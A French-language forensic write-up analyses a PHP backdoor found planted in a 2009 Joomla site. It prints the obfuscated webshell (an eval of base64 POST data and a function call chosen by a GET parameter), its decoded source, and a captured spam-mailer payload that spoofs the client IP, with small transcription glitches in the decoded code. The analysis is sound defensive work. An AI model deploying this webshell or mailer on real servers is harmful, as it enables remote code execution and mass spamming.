Analyse de l'exploitation d'une faille de sécurité s'appuyant sur en cryptage base64

De e-glop

Pré-compréhension

Sur un vieux Joomla! (de septembre 2009), on a retrouvé un fichier includes/.8jy4et.php installé là par le serveur web. Son nom et la façon dont il s'est retrouvé là ne laisse pratiquement de place à aucun doute : il s'agit d'un fichier "craquant" le système !

Reste à savoir comment il fonctionne...

Le fichier includes/.8jy4et.php

 <?php //176e622a9e272282a4a56a9100f5b75d
   $_=
   //ppZiAAS8dDJF9Q*(#_+@#TWyJ
   'Ci8qKgogKiBAdmVyc2lvbiAyLjYKICoKICovCmlmIChpc3NldCgkX1BPU1RbImFjdGlvbiJdKSkKewogICAgICAgIHN3aXRjaCAoJF9QT1NUWyJhY3Rpb24iXSkKICAgICAgICB7CiAgICAgICAgICAgICAgICBjYXNlICJ0ZXN0IjoKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCgpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgInJlZ3VsYXJfdGVzdCI6CiAgICAgICAgICAgICAgICAgICAgICAgIHJlZ3VsYXJfdGVzdCgpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgIm1haWwiOgogICAgICAgICAgICAgICAgICAgICAgICBzZW5kKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgICAgIHJldHVybjsKfQoKaWYgKGNvdW50KCRfR0VUKSA+IDApCnsKICAgICAgICBmb3JlYWNoICgkX0dFVCBhcyAkaWQgPT4gJGNvZGUpCiAgICAgICAgewogICAgICAgICAgICAgICAgaWYgKCRpZCA9PSAiaWQiKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAkY29kZSgpOwogICAgICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm47Cn0KCmZ1bmN0aW9uIHRlc3QoKQp7CiAgICAgICAgJGVuY29kZWRfZGF0YSA9ICIiOwoKICAgICAgICAkZGF0YVsidmVyc2lvbiJdID0gcGhwdmVyc2lvbigpOwogICAgICAgIGlmIChpc3NldCgkX1NFUlZFUlsiU0VSVkVSX1NPRlRXQVJFIl0pKQogICAgICAgIHsKICAgICAgICAgICAgICAgICRkYXRhWyJzZXJ2ZXJhcGkiXSA9ICRfU0VSVkVSWyJTRVJWRVJfU09GVFdBUkUiXTsKICAgICAgICB9CiAgICAgICAgZWxzZQogICAgICAgIHsKICAgICAgICAgICAgICAgICRkYXRhWyJzZXJ2ZXJhcGkiXSA9ICJOb3QgQXZhaWxhYmxlIjsKICAgICAgICB9CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBwaHBpbmZvKDgpOwogICAgICAgICRkYXRhWyJtb2R1bGVzIl0gPSBvYl9nZXRfY29udGVudHMoKTsKICAgICAgICBvYl9jbGVhbigpOwogICAgICAgICRkYXRhWyJleHRfY29ubmVjdCJdID0gZm9wZW4oImh0dHA6Ly93d3cueWEucnUvIiwgInIiKSA/IFRSVUUgOiBGQUxTRTsKICAgICAgICAkc2VyaWFsaXplc19kYXRhID0gc2VyaWFsaXplKCRkYXRhKTsKICAgICAgICAkZW5jb2RlZF9kYXRhID0gYmFzZTY0X2VuY29kZSgkc2VyaWFsaXplc19kYXRhKTsKICAgICAgICBlY2hvICRfUE9TVFsidGVzdF9tZXNzYWdlIl0gLiAkZW5jb2RlZF9kYXRhOwp9CgpmdW5jdGlvbiByZWd1bGFyX3Rlc3QoKQp7CgogICAgICAgICR0byA9ICJhaXJAZXhhbXBsZS5jb20iOwogICAgICAgICRzdWJqID0gIlNVQkohIjsKICAgICAgICAkbWVzc2FnZSA9ICJFSExPIjsKICAgICAgICAkcmVzID0gbWFpbCgkdG8sJHN1YmosJG1lc3NhZ2UpOwogICAgICAgIGlmKCRyZXMpCiAgICAgICAgewogICAgICAgICAgICBlY2hvICRfUE9TVFsidGVzdF9tZXNzYWdlIl07CiAgICAgICAgfQogICAgICAgIGVsc2UKICAgICAgICB7CiAgICAgICAgICAgIGVjaG8gc3RycmV2KCRfUE9TVFsidGVzdF9tZXNzYWdlIl0pOwogICAgICAgIH0KfQoKZnVuY3Rpb24gc2VuZCgpCnsKICAgICAgICAkY29kZSA9IGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJwcm9qZWN0Y29kZSJdKTsKCiAgICAgICAgZXZhbCgkY29kZSk7CiAgICAgICAgLy9yZXR1cm47Cn0K';
   //ppZiAAS8dDJF9Q*(#_+@#TWyJ
   $__ = "JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCRfKTsKZXZhbCgkY29kZSk7";$___ = "\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";eval($___($__));


Qu'est donc que ce code tordu ?

La variable $___ est la fonction base64_decode() décryptant la variable $__, demandant elle-même le décryptage de la variable $_ qui est la seule intéressante du fichier. Si nous regardons ce que $_ a dans le ventre, voici son contenu une fois décrypté en base64 :

 /**
  * @version 2.6
  *
  */
 if (isset($_POST["action"]))
 {
       switch ($_POST["action"])
       {
               case "test":
                       test();
                       break;
               case "regular_test":
                       regular_test();
                       break;
               case "mail":
                       send();
                       break;
               default:
                       break;
       }
       return;
 }
 
 if (count($_GET) > 0)
 {
       foreach ($_GET as $id => $code)
       {
               if ($id == "id")
               {
                       $code();
               }
       }
       return;
 }
 
 function test()
 {
       $encoded_data = "";
 
       $data["version"] = phpversion();
       if (isset($_SERVER["SERVER_SOFTWARE"]))
       {
               $data["serverapi"] = $_SERVER["SERVER_SOFTWARE"];
       }
       else
       {
               $data["serverapi"] = "Not Available";
       }
       ob_start();
       phpinfo(8);
       $data["modules"] = ob_get_contents();
       ob_clean();
       $data["ext_connect"] = fopen("http://www.ya.ru/", "r") ? TRUE : FALSE;
       $serializes_data = serialize($data);
       $encoded_data = base64_encode($serializes_data);
       echo $_POST["test_message"] . $encoded_data;
 }
 
 function regular_test()
 {
       $to = "air@example.com";
       $subj = "SUBJ!";
       $message = "EHLO";
       $res = mail($to,$subj,$message);
       if($res)
       {
           echo $_POST["test_message"];
       }
       else
       {
           echo strrev($_POST["test_message"]);
       }
 }
 
 function send()
 {
       $code = base64_decode($_POST["projectcode"]);
 
       eval($code);
       //return;
 }


Analyse de ce qui se passe

Le code PHP du fichier

Autrement dit, ce code, qui est interprété par le moteur PHP, est capable de faire deux séries de tests et d'exécuter un code arbitraire envoyé en base64 via la variable projectcode envoyée en POST. Reste à savoir ce qui a bien pu être envoyé pour exécution...

Du code PHP envoyé en POST

Pour essayer de comprendre ce que le crackeur a derrière la tête, il faut donc le piéger et récupérer ce qu'il envoie en POST au fichier... Nous allons donc essayer de récupérer ces informations précieuses en réécrivant le fichier.

Piéger ce code

Nous y mettons le code PHP décrypté, sans oublier de rajouter en début de fichier la balise <?php de rigueur... Ajoutons maintenant au début du fichier un élément qui nous permettra de récupérer les variables POST :

 file_put_contents('/tmp/cracking_'.date('YmdHis').'.txt',print_r($_POST,true));

Autopsie d'un code malveillant

1ère étape, réception des données en POST

Nous recevons en particulier la variable $_POST['code'] qui ressemble à $_POST['projectcode'] que nous cherchions :

 aWYoIWlzc2V0KCRfUE9TVFsiZW1haWxzIl0pCiAgICAgICAgT1IgIWlzc2V0KCRfUE9TVFsidGhlbWVzIl0pCiAgICAgICAgT1IgIWlzc2V0KCRfUE9TVFsibWVzc2FnZXMiXSkKICAgICAgICBPUiAhaXNzZXQoJF9QT1NUWyJmcm9tcyJdKQopCnsKICAgIGV4aXQoKTsKfQoKaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkKewogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleSA9PiAkcG9zdCkKICAgIHsKICAgICAgICAkX1BPU1RbJGtleV0gPSBzdHJpcGNzbGFzaGVzKCRwb3N0KTsKICAgIH0KfQoKJGVtYWlscyA9IEB1bnNlcmlhbGl6ZShiYXNlNjRfZGVjb2RlKCRfUE9TVFsiZW1haWxzIl0pKTsKJHRoZW1lcyA9IEB1bnNlcmlhbGl6ZShiYXNlNjRfZGVjb2RlKCRfUE9TVFsidGhlbWVzIl0pKTsKJG1lc3NhZ2VzID0gQHVuc2VyaWFsaXplKGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJtZXNzYWdlcyJdKSk7CiRmcm9tcyA9IEB1bnNlcmlhbGl6ZShiYXNlNjRfZGVjb2RlKCRfUE9TVFsiZnJvbXMiXSkpOwokbWFpbGVycyA9IEB1bnNlcmlhbGl6ZShiYXNlNjRfZGVjb2RlKCRfUE9TVFsibWFpbGVycyJdKSk7CiRhbGlhc2VzID0gQHVuc2VyaWFsaXplKGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJhbGlhc2VzIl0pKTsKJHBhc3NlcyA9IEB1bnNlcmlhbGl6ZShiYXNlNjRfZGVjb2RlKCRfUE9TVFsicGFzc2VzIl0pKTsKCmlmKGlzc2V0KCRfU0VSVkVSKSkKewogICAgJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gPSAiMTI3LjAuMC4xIjsKICAgIGlmKCFlbXB0eSgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9GT1InXSkpCiAgICB7CiAgICAgICAgJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ10gPSAiMTI3LjAuMC4xIjsKICAgIH0KfQoKaWYoaXNzZXQoJF9GSUxFUykpCnsKICAgIGZvcmVhY2goJF9GSUxFUyBhcyAka2V5ID0+ICRmaWxlKQogICAgewogICAgICAgICRmaWxlbmFtZSA9IGFsdGVyX21hY3JvcygkYWxpYXNlc1ska2V5XSk7CiAgICAgICAgJGZpbGVuYW1lID0gbnVtX21hY3JvcygkZmlsZW5hbWUpOwogICAgICAgICRmaWxlbmFtZSA9IHRleHRfbWFjcm9zKCRmaWxlbmFtZSk7CiAgICAgICAgJGZpbGVuYW1lID0geG51bV9tYWNyb3MoJGZpbGVuYW1lKTsKICAgICAgICAkX0ZJTEVTWyRrZXldWyJuYW1lIl0gPSAkZmlsZW5hbWU7CiAgICB9Cn0KCmlmKGVtcHR5KCRlbWFpbHMpKQp7CiAgICBleGl0KCk7Cn0KCmZvcmVhY2ggKCRlbWFpbHMgYXMgJGZ0ZWlsID0+ICRlbWFpbCkKewogICAgJHRoZW1lID0gJHRoZW1lc1thcnJheV9yYW5kKCR0aGVtZXMpXTsKICAgICR0aGVtZSA9IGFsdGVyX21hY3JvcygkdGhlbWVbInRoZW1lIl0pOwogICAgJHRoZW1lID0gbnVtX21hY3JvcygkdGhlbWUpOwogICAgJHRoZW1lID0gdGV4dF9tYWNyb3MoJHRoZW1lKTsKICAgICR0aGVtZSA9IHhudW1fbWFjcm9zKCR0aGVtZSk7CgogICAgJG1lc3NhZ2UgPSAkbWVzc2FnZXNbYXJyYXlfcmFuZCgkbWVzc2FnZXMpXTsKICAgICRtZXNzYWdlID0gYWx0ZXJfbWFjcm9zKCRtZXNzYWdlWyJtZXNzYWdlIl0pOwogICAgJG1lc3NhZ2UgPSBudW1fbWFjcm9zKCRtZXNzYWdlKTsKICAgICRtZXNzYWdlID0gdGV4dF9tYWNyb3MoJG1lc3NhZ2UpOwogICAgJG1lc3NhZ2UgPSB4bnVtX21hY3JvcygkbWVzc2FnZSk7CiAgICAkbWVzc2FnZSA9IHBhc3NfbWFjcm9zKCRtZXNzYWdlLCAkcGFzc2VzKTsKICAgICRtZXNzYWdlID0gZnRlaWxfbWFjcm9zKCRtZXNzYWdlLCAkZnRlaWwpOwoKICAgICRmcm9tID0gJGZyb21zW2FycmF5X3JhbmQoJGZyb21zKV07CiAgICAkZnJvbSA9IGFsdGVyX21hY3JvcygkZnJvbVsiZnJvbSJdKTsKICAgICRmcm9tID0gbnVtX21hY3JvcygkZnJvbSk7CiAgICAkZnJvbSA9IHRleHRfbWFjcm9zKCRmcm9tKTsKICAgICRmcm9tID0geG51bV9tYWNyb3MoJGZyb20pOwoKICAgICRtYWlsZXIgPSAkbWFpbGVyc1thcnJheV9yYW5kKCRtYWlsZXJzKV07CiAgICAKICAgIHNlbmRfbWFpbCgkZnJvbSwgJGVtYWlsLCAkdGhlbWUsICRtZXNzYWdlLCAkbWFpbGVyKTsKfSAKCmZ1bmN0aW9uIHNlbmRfbWFpbCgkZnJvbSwgJHRvLCAkc3ViaiwgJHRleHQsICRtYWlsZXIpCnsKICAgICR1biA9IHN0cnRvdXBwZXIodW5pcWlkKHRpbWUoKSkpOwoKICAgICRoZWFkID0gIkZyb206ICRmcm9tXG4iOwogICAgJGhlYWQgLj0gIlgtTWFpbGVyOiAkbWFpbGVyXG4iOwogICAgJGhlYWQgLj0gIlJlcGx5LVRvOiAkZnJvbVxuIjsKCiAgICAkaGVhZCAuPSAiTWltZS1WZXJzaW9uOiAxLjBcbiI7CiAgICAkaGVhZCAuPSAiQ29udGVudC1UeXBlOiBtdWx0aXBhcnQvYWx0ZXJuYXRpdmU7IjsKICAgICRoZWFkIC49ICJib3VuZGFyeT1cIi0tLS0tLS0tLS0iLiR1bi4iXCJcblxuIjsKICAgIAogICAgJHBsYWluID0gc3RyaXBfdGFncygkdGV4dCk7CiAgICAkemFnID0gIi0tLS0tLS0tLS0tLSIuJHVuLiJcbkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbjsgY2hhcnNldD1cIklTTy04ODU5LTFcIjsgZm9ybWF0PWZsb3dlZFxuIjsKICAgICR6YWcgLj0gIkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IDdiaXRcblxuIi4kcGxhaW4uIlxuXG4iOwogICAgCiAgICAkemFnIC49ICItLS0tLS0tLS0tLS0iLiR1bi4iXG5Db250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1cIklTTy04ODU5LTFcIjtcbiI7CiAgICAkemFnIC49ICJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiA3Yml0XG5cbiR0ZXh0XG5cbiI7CiAgICAkemFnIC49ICItLS0tLS0tLS0tLS0iLiR1bi4iLS0iOwogICAgCiAgICBpZihjb3VudCgkX0ZJTEVTKSA+IDApCiAgICB7CiAgICAgICAgZm9yZWFjaCgkX0ZJTEVTIGFzICRmaWxlKQogICAgICAgIHsKICAgICAgICAgICAgaWYoZmlsZV9leGlzdHMoJGZpbGVbInRtcF9uYW1lIl0pKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAkZiA9IGZvcGVuKCRmaWxlWyJ0bXBfbmFtZSJdLCAicmIiKTsKICAgICAgICAgICAgICAgICR6YWcgLj0gIi0tLS0tLS0tLS0tLSIuJHVuLiJcbiI7CiAgICAgICAgICAgICAgICAkemFnIC49ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbTsiOwogICAgICAgICAgICAgICAgJHphZyAuPSAibmFtZT1cIiIuJGZpbGVbIm5hbWUiXS4iXCJcbiI7CiAgICAgICAgICAgICAgICAkemFnIC49ICJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOmJhc2U2NFxuIjsKICAgICAgICAgICAgICAgICR6YWcgLj0gIkNvbnRlbnQtRGlzcG9zaXRpb246YXR0YWNobWVudDsiOwogICAgICAgICAgICAgICAgJHphZyAuPSAiZmlsZW5hbWU9XCIiLiRmaWxlWyJuYW1lIl0uIlwiXG5cbiI7CiAgICAgICAgICAgICAgICAkemFnIC49IGNodW5rX3NwbGl0KGJhc2U2NF9lbmNvZGUoZnJlYWQoJGYsIGZpbGVzaXplKCRmaWxlWyJ0bXBfbmFtZSJdKSkpKS4iXG4iOwogICAgICAgICAgICAgICAgZmNsb3NlKCRmKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICBpZihAbWFpbCgkdG8sICRzdWJqLCAkemFnLCAkaGVhZCkpCiAgICB7CiAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsndmVyYm9zZSddKSkKICAgICAgICAgICAgZWNobyAiU0VOREVEIjsKICAgIH0KICAgIGVsc2UKICAgIHsKICAgICAgICBpZighZW1wdHkoJF9QT1NUWyd2ZXJib3NlJ10pKQogICAgICAgICAgICBlY2hvICJGQUlMIjsKICAgIH0KICAgIHVzbGVlcCgzMDApOwp9CgpmdW5jdGlvbiBhbHRlcl9tYWNyb3MoJGNvbnRlbnQpCnsKICAgIHByZWdfbWF0Y2hfYWxsKCcjeyguKil9I1VpJywgJGNvbnRlbnQsICRtYXRjaGVzKTsKCiAgICBmb3IoJGkgPSAwOyAkaSA8IGNvdW50KCRtYXRjaGVzWzFdKTsgJGkrKykKICAgIHsKCiAgICAgICAgJG5zID0gZXhwbG9kZSgifCIsICRtYXRjaGVzWzFdWyRpXSk7CiAgICAgICAgJGMyID0gY291bnQoJG5zKTsKICAgICAgICAkcmFuZCA9IHJhbmQoMCwgKCRjMiAtIDEpKTsKICAgICAgICAkY29udGVudCA9IHN0cl9yZXBsYWNlKCJ7Ii4kbWF0Y2hlc1sxXVskaV0uIn0iLCAkbnNbJHJhbmRdLCAkY29udGVudCk7CiAgICB9CiAgICByZXR1cm4gJGNvbnRlbnQ7Cn0KCmZ1bmN0aW9uIHRleHRfbWFjcm9zKCRjb250ZW50KQp7CiAgICBwcmVnX21hdGNoX2FsbCgnI1xbVEVYVFwtKFtbOmRpZ2l0Ol1dKylcLShbWzpkaWdpdDpdXSspXF0jJywgJGNvbnRlbnQsICRtYXRjaGVzKTsKCiAgICBmb3IoJGkgPSAwOyAkaSA8IGNvdW50KCRtYXRjaGVzWzBdKTsgJGkrKykKICAgIHsKICAgICAgICAkbWluID0gJG1hdGNoZXNbMV1bJGldOwogICAgICAgICRtYXggPSAkbWF0Y2hlc1syXVskaV07CiAgICAgICAgJHJhbmQgPSByYW5kKCRtaW4sICRtYXgpOwogICAgICAgICR3b3JkID0gZ2VuZXJhdGVfd29yZCgkcmFuZCk7CgogICAgICAgICRjb250ZW50ID0gcHJlZ19yZXBsYWNlKCIvIi5wcmVnX3F1b3RlKCRtYXRjaGVzWzBdWyRpXSkuIi8iLCAkd29yZCwgJGNvbnRlbnQsIDEpOwogICAgfQoKICAgIHByZWdfbWF0Y2hfYWxsKCcjXFtURVhUXC0oW1s6ZGlnaXQ6XV0rKVxdIycsICRjb250ZW50LCAkbWF0Y2hlcyk7CgogICAgZm9yKCRpID0gMDsgJGkgPCBjb3VudCgkbWF0Y2hlc1swXSk7ICRpKyspCiAgICB7CiAgICAgICAgJGNvdW50ID0gJG1hdGNoZXNbMV1bJGldOwoKICAgICAgICAkd29yZCAgPSBnZW5lcmF0ZV93b3JkKCRjb3VudCk7CgogICAgICAgICRjb250ZW50ID0gcHJlZ19yZXBsYWNlKCIvIi5wcmVnX3F1b3RlKCRtYXRjaGVzWzBdWyRpXSkuIi8iLCAkd29yZCwgJGNvbnRlbnQsIDEpOwogICAgfQoKCiAgICByZXR1cm4gJGNvbnRlbnQ7Cn0KCmZ1bmN0aW9uIHhudW1fbWFjcm9zKCRjb250ZW50KQp7CiAgICBwcmVnX21hdGNoX2FsbCgnI1xbTlVNXC0oW1s6ZGlnaXQ6XV0rKVxdIycsICRjb250ZW50LCAkbWF0Y2hlcyk7CgogICAgZm9yKCRpID0gMDsgJGkgPCBjb3VudCgkbWF0Y2hlc1swXSk7ICRpKyspCiAgICB7CiAgICAgICAgJG51bSA9ICRtYXRjaGVzWzFdWyRpXTsKICAgICAgICAkbWluID0gcG93KDEwLCAkbnVtIC0gMSk7CiAgICAgICAgJG1heCA9IHBvdygxMCwgJG51bSkgLSAxOwoKICAgICAgICAkcmFuZCA9IHJhbmQoJG1pbiwgJG1heCk7CiAgICAgICAgJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSgkbWF0Y2hlc1swXVskaV0sICRyYW5kLCAkY29udGVudCk7CiAgICB9CiAgICByZXR1cm4gJGNvbnRlbnQ7Cn0KCmZ1bmN0aW9uIG51bV9tYWNyb3MoJGNvbnRlbnQpCnsKICAgIHByZWdfbWF0Y2hfYWxsKCcjXFtSQU5EXC0oW1s6ZGlnaXQ6XV0rKVwtKFtbOmRpZ2l0Ol1dKylcXSMnLCAkY29udGVudCwgJG1hdGNoZXMpOwoKICAgIGZvcigkaSA9IDA7ICRpIDwgY291bnQoJG1hdGNoZXNbMF0pOyAkaSsrKQogICAgewogICAgICAgICRtaW4gPSAkbWF0Y2hlc1sxXVskaV07CiAgICAgICAgJG1heCA9ICRtYXRjaGVzWzJdWyRpXTsKICAgICAgICAkcmFuZCA9IHJhbmQoJG1pbiwgJG1heCk7CiAgICAgICAgJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSgkbWF0Y2hlc1swXVskaV0sICRyYW5kLCAkY29udGVudCk7CiAgICB9CiAgICByZXR1cm4gJGNvbnRlbnQ7Cn0KCmZ1bmN0aW9uIGdlbmVyYXRlX3dvcmQoJGxlbmd0aCkKewogICAgJGNoYXJzID0gJ2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ5eHonOwogICAgJG51bUNoYXJzID0gc3RybGVuKCRjaGFycyk7CiAgICAkc3RyaW5nID0gJyc7CiAgICBmb3IoJGkgPSAwOyAkaSA8ICRsZW5ndGg7ICRpKyspCiAgICB7CiAgICAgICAgJHN0cmluZyAuPSBzdWJzdHIoJGNoYXJzLCByYW5kKDEsICRudW1DaGFycykgLSAxLCAxKTsKICAgIH0KICAgIHJldHVybiAkc3RyaW5nOwp9CgpmdW5jdGlvbiBwYXNzX21hY3JvcygkY29udGVudCwgJHBhc3NlcykKewogICAgJHBhc3MgPSBhcnJheV9wb3AoJHBhc3Nlcyk7CiAgICAKICAgIHJldHVybiBzdHJfcmVwbGFjZSgiW1BBU1NdIiwgJHBhc3MsICRjb250ZW50KTsKfQoKZnVuY3Rpb24gZnRlaWxfbWFjcm9zKCRjb250ZW50LCAkZnRlaWwpCnsgICAgCiAgICByZXR1cm4gc3RyX3JlcGxhY2UoIltGVEVJTF0iLCAkZnRlaWwsICRjb250ZW50KTsKfQoKZnVuY3Rpb24gZnJvbV9ob3N0KCRjb250ZW50KQp7CiAgICBpZihlbXB0eSgkcmVwbGFjZSkpCiAgICB7CiAgICAgICAgJHJlcGxhY2UgPSAoIWVtcHR5KCRfU0VSVkVSWydTRVJWRVJfQURNSU4nXSkpID8gJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddIDogTlVMTDsKICAgICAgICAkcG9zID0gc3RycG9zKCRyZXBsYWNlLCAiQCIpOwogICAgICAgICRyZXBsYWNlID0gc3Vic3RyKCRyZXBsYWNlLCAkcG9zKTsKICAgIH0KICAgIAogICAgJHJlcGxhY2UgPSAoZW1wdHkoJHJlcGxhY2UpIEFORCAhIGVtcHR5KCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKSkgPyAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSA6IE5VTEw7CiAgICAkcmVwbGFjZSA9IChlbXB0eSgkcmVwbGFjZSkgQU5EICEgZW1wdHkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSkgPyAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gOiBOVUxMOwogICAgCiAgICAkZG9tYWlucyA9IEBleHBsb2RlKCIuIiwgJHJlcGxhY2UpOwogICAgaWYoIWVtcHR5KCRkb21haW5zKSkKICAgIHsKICAgICAgICAkbGV2ZWwxID0gQGFycmF5X3BvcCgkZG9tYWlucyk7CiAgICAgICAgJGxldmVsMiA9IEBhcnJheV9wb3AoJGRvbWFpbnMpOwogICAgICAgICRyZXBsYWNlID0gJGxldmVsMi4iLiIuJGxldmVsMTsKICAgIH0KICAgIAogICAgcmV0dXJuIHN0cl9yZXBsYWNlKCJbRkhPU1RdIiwgJHJlcGxhY2UsICRjb250ZW50KTsKfQo=

Nous la décryptons donc en base64 toujours :

 if(!isset($_POST["emails"])
       OR !isset($_POST["themes"])
       OR !isset($_POST["messages"])
       OR !isset($_POST["froms"])
 )
 {
   exit();
 }
 
 if(get_magic_quotes_gpc())
 {
   foreach($_POST as $key => $post)
   {
       $_POST[$key] = stripcslashes($post);
   }
 }
 
 $emails = @unserialize(base64_decode($_POST["emails"]));
 $themes = @unserialize(base64_decode($_POST["themes"]));
 $messages = @unserialize(base64_decode($_POST["messages"]));
 $froms = @unserialize(base64_decode($_POST["froms"]));
 $mailers = @unserialize(base64_decode($_POST["mailers"]));
 $aliases = @unserialize(base64_decode($_POST["aliases"]));
 $passes = @unserialize(base64_decode($_POST["passes"]));
 
 if(isset($_SERVER))
 {
   $_SERVER['REMOTE_ADDR'] = "127.0.0.1";
   if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
   {
       $_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
   }
 }
 
 if(isset($_FILES))
 {
   foreach($_FILES as $key => $file)
   {
       $filename = alter_macros($aliases[$key]);
       $filename = num_macros($filename);
       $filename = text_macros($filename);
       $filename = xnum_macros($filename);
       $_FILES[$key]["name"] = $filename;
   }
 }
 
 if(empty($emails))
 {
   exit();
 }
 
 foreach ($emails as $fteil => $email)
 {
   $theme = $themes[array_rand($themes)];
   $theme = alter_macros($theme["theme"]);
   $theme = num_macros($theme);
   $theme = text_macros($theme);
   $theme = xnum_macros($theme);
 
   $message = $messages[array_rand($messages)];
   $message = alter_macros($message["message"]);
   $message = num_macros($message);
   $message = text_macros($message);
   $message = xnum_macros($message);
   $message = pass_macros($message, $passes);
   $message = fteil_macros($message, $fteil);
 
   $from = $froms[array_rand($froms)];
   $from = alter_macros($from["from"]);
   $from = num_macros($from);
   $from = text_macros($from);
   $from = xnum_macros($from);
 
   $mailer = $mailers[array_rand($mailers)];
   
   send_mail($from, $email, $theme, $message, $mailer);
 } 
 
 function send_mail($from, $to, $subj, $text, $mailer)
 {
   $un = strtoupper(uniqid(time()));
 
   $head = "From: $from\n";
   $head .= "X-Mailer: $mailer\n";
   $head .= "Reply-To: $from\n";
 
   $head .= "Mime-Version: 1.0\n";
   $head .= "Content-Type: multipart/alternative;";
   $head .= "boundary=\"----------".$un."\"\n\n";
   
   $plain = strip_tags($text);
   $zag = "------------".$un."\nContent-Type: text/plain; charset=\"ISO-8859-1\"; format=flowed\n";
   $zag .= "Content-Transfer-Encoding: 7bit\n\n".$plain."\n\n";
   
   $zag .= "------------".$un."\nContent-Type: text/html; charset=\"ISO-8859-1\";\n";
   $zag .= "Content-Transfer-Encoding: 7bit\n\n$text\n\n";
   $zag .= "------------".$un."--";
   
   if(count($_FILES) > 0)
   {
       foreach($_FILES as $file)
       {
           if(file_exists($file["tmp_name"]))
           {
               $f = fopen($file["tmp_name"], "rb");
               $zag .= "------------".$un."\n";
               $zag .= "Content-Type: application/octet-stream;";
               $zag .= "name=\"".$file["name"]."\"\n";
               $zag .= "Content-Transfer-Encoding:base64\n";
               $zag .= "Content-Disposition:attachment;";
               $zag .= "filename=\"".$file["name"]."\"\n\n";
               $zag .= chunk_split(base64_encode(fread($f, filesize($file["tmp_name"]))))."\n";
               fclose($f);
           }
       }
   }
 
   if(@mail($to, $subj, $zag, $head))
   {
       if(!empty($_POST['verbose']))
           echo "SENDED";
   }
   else
   {
       if(!empty($_POST['verbose']))
           echo "FAIL";
   }
   usleep(300);
 }
 
 function alter_macros($content)
 {
   preg_match_all('#{(.*)}#Ui', $content, $matches);
 
   for($i = 0; $i < count($matches[1]); $i++)
   {
 
       $ns = explode("|", $matches[1][$i]);
       $c2 = count($ns);
       $rand = rand(0, ($c2 - 1));
       $content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content);
   }
   return $content;
 }
 
 function text_macros($content)
 {
   preg_match_all('#\[TEXT\-(digit:+)\-(digit:+)\]#', $content, $matches);
 
   for($i = 0; $i < count($matches[0]); $i++)
   {
       $min = $matches[1][$i];
       $max = $matches[2][$i];
       $rand = rand($min, $max);
       $word = generate_word($rand);
 
       $content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
   }
 
   preg_match_all('#\[TEXT\-(digit:+)\]#', $content, $matches);
 
   for($i = 0; $i < count($matches[0]); $i++)
   {
       $count = $matches[1][$i];
 
       $word  = generate_word($count);
 
       $content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
   }
 
 
   return $content;
 }
 
 function xnum_macros($content)
 {
   preg_match_all('#\[NUM\-(digit:+)\]#', $content, $matches);
 
   for($i = 0; $i < count($matches[0]); $i++)
   {
       $num = $matches[1][$i];
       $min = pow(10, $num - 1);
       $max = pow(10, $num) - 1;
 
       $rand = rand($min, $max);
       $content = str_replace($matches[0][$i], $rand, $content);
   }
   return $content;
 }
 
 function num_macros($content)
 {
   preg_match_all('#\[RAND\-(digit:+)\-(digit:+)\]#', $content, $matches);
 
   for($i = 0; $i < count($matches[0]); $i++)
   {
       $min = $matches[1][$i];
       $max = $matches[2][$i];
       $rand = rand($min, $max);
       $content = str_replace($matches[0][$i], $rand, $content);
   }
   return $content;
 }
 
 function generate_word($length)
 {
   $chars = 'abcdefghijklmnopqrstuvyxz';
   $numChars = strlen($chars);
   $string = ;
   for($i = 0; $i < $length; $i++)
   {
       $string .= substr($chars, rand(1, $numChars) - 1, 1);
   }
   return $string;
 }
 
 function pass_macros($content, $passes)
 {
   $pass = array_pop($passes);
   
   return str_replace("[PASS]", $pass, $content);
 }
 
 function fteil_macros($content, $fteil)
 {    
   return str_replace("[FTEIL]", $fteil, $content);
 }
 
 function from_host($content)
 {
   if(empty($replace))
   {
       $replace = (!empty($_SERVER['SERVER_ADMIN'])) ? $_SERVER['SERVER_ADMIN'] : NULL;
       $pos = strpos($replace, "@");
       $replace = substr($replace, $pos);
